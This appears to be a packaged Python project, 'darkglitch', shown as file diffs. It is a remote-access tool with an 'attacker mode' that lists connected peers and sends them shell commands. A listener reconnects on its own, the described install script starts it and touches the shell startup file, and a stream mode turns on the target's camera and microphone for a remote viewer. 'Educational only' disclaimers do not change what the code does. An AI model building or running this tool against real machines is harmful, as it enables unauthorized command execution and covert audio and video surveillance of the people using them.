darkglitch 1.0.0__tar.gz

darkglitch-1.0.0/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2026 DarkGlitch
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

darkglitch-1.0.0/PKG-INFO

@@ -0,0 +1,147 @@
+Metadata-Version: 2.4
+Name: darkglitch
+Version: 1.0.0
+Summary: Remote command delivery and media streaming tool over WebRTC signaling
+Author: DarkGlitch
+License-Expression: MIT
+Project-URL: Homepage, https://github.com/yourname/darkglitch
+Project-URL: Repository, https://github.com/yourname/darkglitch
+Project-URL: Issues, https://github.com/yourname/darkglitch/issues
+Keywords: webrtc,remote-control,signaling,media
+Classifier: Development Status :: 4 - Beta
+Classifier: Environment :: Console
+Classifier: Intended Audience :: Developers
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3.10
+Classifier: Programming Language :: Python :: 3.11
+Classifier: Programming Language :: Python :: 3.12
+Classifier: Topic :: Security
+Classifier: Topic :: System :: Networking
+Requires-Python: >=3.10
+Description-Content-Type: text/markdown
+License-File: LICENSE
+Requires-Dist: aiortc>=1.4.0
+Requires-Dist: opencv-python>=4.13.0
+Requires-Dist: Pillow>=10.0.0
+Requires-Dist: websockets>=12.0.0
+Dynamic: license-file
+
+# darkglitch
+
+## Project Description
+
+darkglitch is a small Python proof-of-concept for remote command delivery over a WebSocket signaling channel. It supports a listener mode to register a client and an attacker mode to find online peers and send remote shell commands.
+
+## Important Notes
+
+- This project is educational only.
+- Use it only in authorized test environments.
+- Remote command execution can be dangerous if misused.
+
+## Requirements
+
+- Python 3.10+
+- `requirements.txt` is provided for dependency installation
+
+## Setup
+
+From the project root:
+
+```bash
+./install.sh
+```
+
+This script will:
+
+- create a Python virtual environment at `~/Desktop/venv`
+- activate that environment
+- install dependencies from `requirements.txt`
+- add `source ~/Desktop/venv/bin/activate` to your `~/.bashrc` or `~/.zshrc`
+- start the listener mode with `main.py -l`
+
+If you prefer manual setup:
+
+```bash
+python3 -m venv ~/Desktop/venv
+source ~/Desktop/venv/bin/activate
+pip install -r requirements.txt
+```
+
+## Dependencies
+
+- `websockets`
+- `aiortc`
+- `opencv-python`
+- `Pillow`
+
+## Project Structure
+
+- `main.py` - Entry point and command parser
+- `helper.py` - CLI help text
+- `version.py` - Version information
+- `core/config.py` - Signaling server settings
+- `core/client.py` - Client identity and username logic
+- `command/`
+  - `bash_connect.py` - Send remote commands
+  - `listen.py` - Start listener mode
+  - `online.py` - List online peers
+  - `stream_connect.py` - Request remote media stream
+- `command_injection/injector.py` - Remote command request handling
+- `signaling/`
+  - `signal.py` - WebSocket signaling client
+  - `peer.py` - WebRTC peer connection logic
+- `media/`
+  - `local_media.py` - Local camera/microphone handling
+  - `receiver_media.py` - Remote media receiver
+
+## Configuration
+
+Edit `core/config.py` to set:
+
+- `HOST` - signaling server URL
+- `ROOM` - shared room identifier
+
+Example:
+
+```python
+HOST = "https://localhost:8000/"
+ROOM = "test"
+```
+
+## Usage
+
+### Show help
+
+```bash
+python darkglitch.py -h
+```
+
+### Show version
+
+```bash
+python darkglitch.py -v
+```
+
+### Start listener mode
+
+```bash
+python darkglitch.py -l
+```
+
+### List online peers
+
+```bash
+python darkglitch.py -ol
+```
+
+### Send a remote command
+
+```bash
+python darkglitch.py -c <client_id> "whoami"
+```
+
+Replace `<client_id>` with the target identifier from the online peers list.
+
+## Disclaimer
+
+This repository is for research and learning only. Do not deploy it against systems or networks without explicit permission.

darkglitch-1.0.0/README.md

@@ -0,0 +1,119 @@
+# darkglitch
+
+## Project Description
+
+darkglitch is a small Python proof-of-concept for remote command delivery over a WebSocket signaling channel. It supports a listener mode to register a client and an attacker mode to find online peers and send remote shell commands.
+
+## Important Notes
+
+- This project is educational only.
+- Use it only in authorized test environments.
+- Remote command execution can be dangerous if misused.
+
+## Requirements
+
+- Python 3.10+
+- `requirements.txt` is provided for dependency installation
+
+## Setup
+
+From the project root:
+
+```bash
+./install.sh
+```
+
+This script will:
+
+- create a Python virtual environment at `~/Desktop/venv`
+- activate that environment
+- install dependencies from `requirements.txt`
+- add `source ~/Desktop/venv/bin/activate` to your `~/.bashrc` or `~/.zshrc`
+- start the listener mode with `main.py -l`
+
+If you prefer manual setup:
+
+```bash
+python3 -m venv ~/Desktop/venv
+source ~/Desktop/venv/bin/activate
+pip install -r requirements.txt
+```
+
+## Dependencies
+
+- `websockets`
+- `aiortc`
+- `opencv-python`
+- `Pillow`
+
+## Project Structure
+
+- `main.py` - Entry point and command parser
+- `helper.py` - CLI help text
+- `version.py` - Version information
+- `core/config.py` - Signaling server settings
+- `core/client.py` - Client identity and username logic
+- `command/`
+  - `bash_connect.py` - Send remote commands
+  - `listen.py` - Start listener mode
+  - `online.py` - List online peers
+  - `stream_connect.py` - Request remote media stream
+- `command_injection/injector.py` - Remote command request handling
+- `signaling/`
+  - `signal.py` - WebSocket signaling client
+  - `peer.py` - WebRTC peer connection logic
+- `media/`
+  - `local_media.py` - Local camera/microphone handling
+  - `receiver_media.py` - Remote media receiver
+
+## Configuration
+
+Edit `core/config.py` to set:
+
+- `HOST` - signaling server URL
+- `ROOM` - shared room identifier
+
+Example:
+
+```python
+HOST = "https://localhost:8000/"
+ROOM = "test"
+```
+
+## Usage
+
+### Show help
+
+```bash
+python darkglitch.py -h
+```
+
+### Show version
+
+```bash
+python darkglitch.py -v
+```
+
+### Start listener mode
+
+```bash
+python darkglitch.py -l
+```
+
+### List online peers
+
+```bash
+python darkglitch.py -ol
+```
+
+### Send a remote command
+
+```bash
+python darkglitch.py -c <client_id> "whoami"
+```
+
+Replace `<client_id>` with the target identifier from the online peers list.
+
+## Disclaimer
+
+This repository is for research and learning only. Do not deploy it against systems or networks without explicit permission.

darkglitch-1.0.0/command/__init__.py

@@ -0,0 +1 @@
+"""Command handlers for the darkglitch CLI."""

darkglitch-1.0.0/command/bash_connect.py

@@ -0,0 +1,37 @@
+# command/bash_connect.py
+import asyncio
+
+from signaling.signal import SignalClient
+from signaling.handlers import OnlineHandler
+from core.config import HOST, ROOM
+from core.client import client_id, username
+
+from command_injection.injector import RemoteCommandHandler as SenderHandler
+
+async def bash_mode(target, command):
+    print("[+] Bash Mode")
+
+    signal = SignalClient(ROOM, client_id, HOST, username=username)
+    await signal.connect()
+
+    sender = SenderHandler(signal)
+
+    try:
+        result = await sender.send_command(
+            target=target,
+            command=command,
+            wait_for_result=True,
+            timeout=15,
+        )
+
+        if result is None:
+            print("[-] No response received for remote command")
+            return
+
+        if result.get("status") == "success":
+            print(result.get("output", "Bash executed successfully"))
+        else:
+            print("[-] Bash Failed")
+            print("ERROR:", result.get("error", "Unknown error"))
+    finally:
+        await signal.close()

darkglitch-1.0.0/command/listen.py

@@ -0,0 +1,83 @@
+# command/listen.py
+
+import asyncio
+
+from core.client import client_id, username
+from core.config import ROOM, HOST
+
+from signaling.signal import SignalClient
+from signaling.peer import Peer
+from media.local_media import LocalMedia
+
+from command_injection.injector import RemoteCommandHandler as ReceiverHandler
+
+
+async def listen_mode():
+    print("[+] Listen mode")
+
+    retry_delay = 10
+
+    while True:
+        signal = None
+        media = None
+        peer = None
+
+        try:
+            # ----------------------------------
+            # Signaling
+            # ----------------------------------
+            signal = SignalClient(room=ROOM, client_id=client_id, host=HOST, username=username,)
+
+            await signal.connect()
+
+            # ----------------------------------
+            # Command Injection
+            # ----------------------------------
+            ReceiverHandler(signal)
+
+            print(
+                f"[+] Listening as {username} "
+                f"({client_id})"
+            )
+
+            print("[+] Waiting for incoming offers...")
+
+            # ----------------------------------
+            # Keep process alive
+            # ----------------------------------
+            while True:
+                await asyncio.sleep(1)
+
+        except asyncio.CancelledError:
+            raise
+
+        except Exception as exc:
+            print(f"[!] Error: {exc}")
+
+        finally:
+            print("[+] Cleaning up...")
+
+            try:
+                if peer is not None:
+                    await peer.close()
+            except Exception:
+                pass
+
+            try:
+                if media:
+                    await media.stop()
+            except Exception:
+                pass
+
+            try:
+                if signal:
+                    await signal.close()
+            except Exception:
+                pass
+
+        print(
+            f"[+] Reconnecting in "
+            f"{retry_delay} seconds..."
+        )
+
+        await asyncio.sleep(retry_delay)

darkglitch-1.0.0/command/listen_stream.py

@@ -0,0 +1,93 @@
+import asyncio
+
+from core.client import client_id, username
+from core.config import ROOM, HOST
+
+from signaling.signal import SignalClient
+from signaling.peer import Peer
+from media.local_media import LocalMedia
+
+from command_injection.injector import RemoteCommandHandler as ReceiverHandler
+
+
+async def listen_stream_mode():
+    print("[+] Listen mode")
+
+    retry_delay = 10
+
+    while True:
+        signal = None
+        media = None
+        peer = None
+
+        try:
+            # ----------------------------------
+            # Signaling
+            # ----------------------------------
+            signal = SignalClient(room=ROOM, client_id=client_id, host=HOST, username=username,)
+
+            await signal.connect()
+
+            # ----------------------------------
+            # Camera / Microphone
+            # ----------------------------------
+            media = LocalMedia()
+            await media.start()
+
+            print("[+] Video Track:", media.get_video_track())
+            print("[+] Audio Track:", media.get_audio_track())
+
+            # ----------------------------------
+            # WebRTC Peer
+            # ----------------------------------
+            peer = Peer(signal)
+
+            # Send local camera/mic when a call is established
+            peer.add_media(media)
+
+            print(
+                f"[+] Listening as {username} "
+                f"({client_id})"
+            )
+
+            print("[+] Waiting for incoming offers...")
+
+            # ----------------------------------
+            # Keep process alive
+            # ----------------------------------
+            while True:
+                await asyncio.sleep(1)
+
+        except asyncio.CancelledError:
+            raise
+
+        except Exception as exc:
+            print(f"[!] Error: {exc}")
+
+        finally:
+            print("[+] Cleaning up...")
+
+            try:
+                if peer is not None:
+                    await peer.close()
+            except Exception:
+                pass
+
+            try:
+                if media:
+                    await media.stop()
+            except Exception:
+                pass
+
+            try:
+                if signal:
+                    await signal.close()
+            except Exception:
+                pass
+
+        print(
+            f"[+] Reconnecting in "
+            f"{retry_delay} seconds..."
+        )
+
+        await asyncio.sleep(retry_delay)

darkglitch-1.0.0/command/online.py

@@ -0,0 +1,29 @@
+# command/online.py
+import asyncio
+
+from signaling.signal import SignalClient
+from signaling.handlers import OnlineHandler
+from core.config import HOST, ROOM
+from core.client import client_id, username
+
+
+async def online_list_mode():
+    print("[+] Online list mode")
+
+    signal = SignalClient(ROOM, client_id, HOST, username=username)
+
+    await signal.connect()
+
+    signal.add_handler(OnlineHandler(client_id))
+
+    await signal.send({
+        "type": "get_online"
+    })
+
+    try:
+        while True:
+            await asyncio.sleep(1)
+    except asyncio.CancelledError:
+        pass
+    finally:
+        await signal.close()